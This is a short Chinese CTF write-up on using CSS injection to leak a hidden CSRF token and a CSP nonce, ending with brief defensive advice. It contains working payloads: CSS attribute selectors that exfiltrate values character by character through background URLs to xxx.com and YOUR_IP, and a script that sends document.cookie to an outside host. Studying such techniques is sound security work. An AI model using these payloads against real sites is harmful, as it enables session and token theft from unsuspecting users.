0x01前言

最近看tsgctf一道题利用到了css注入来获取敏感信息,大概了解了css注入。

0x02正文

当我们存在以下三个条件的时候就可能利用到css注入获取到token进行csrf或者其他的敏感信息(例如tsg这道题的nonce是服务端生成不变的)。

1.CSS注入需要允许足够长的payload

2.能够在框架加载页面再次执行CSS新生成的payloads

3.能够引用外部图片

例子:

我在服务器上写一个测试页面3.php

当我们访问xxx.com/3.php的时候csrf这个token是隐藏的我们想要获得这个的值,然后我们可以向页面中注入代码,此时我们就可以利用css属性选择器来进行爆破格式如下:

input[name=”csrf”][value^=”a”] {
background: url(xxx.com/2.php?a=a);
}

其中2.php是:

用来记录我们的测试值,上面那个payload的意思是选择input标签,name为csrf,value以a开头,当找到这个的是后就访问background设定的地址,从而攻击者就能记录下fuzz到的值,通过这样的爆破就能获得csrf的toke,当然我们可以直接设定标签为*进行通配。

0x03例题

tsg的例题:

这里我们目的很明确要利用xss打到管理员的cookie但是这里有个问题就是有csp我们必须首先绕过csp获取到nonce,这里看源码nonce是根据session_id经过md5后生成的32位固定字符 ,然后我们有q这个注入点可以向页面中css注入来fuzz到nonce,paylaod如下:

?q=<style>*[nonce^=’fuzzcharacter‘]{background:url(‘http://YOUR_IP:8080/ + nonce + fuzzcharacter + ‘)}</style>

将链接发给bot让他访问爆破到nonce,然后携带nonce进行xss就可以打到flag了

<script nonce=”c5020497ffbf96baf339f215ac8f5bc6″>document.location.href = ‘http://www.bdwms.com/2.php?a=’ + document.cookie</script>

0x03总结

防御css注入可以利用csp禁止访问外部的图片等方法,nonce保持动态。

0x04参考链接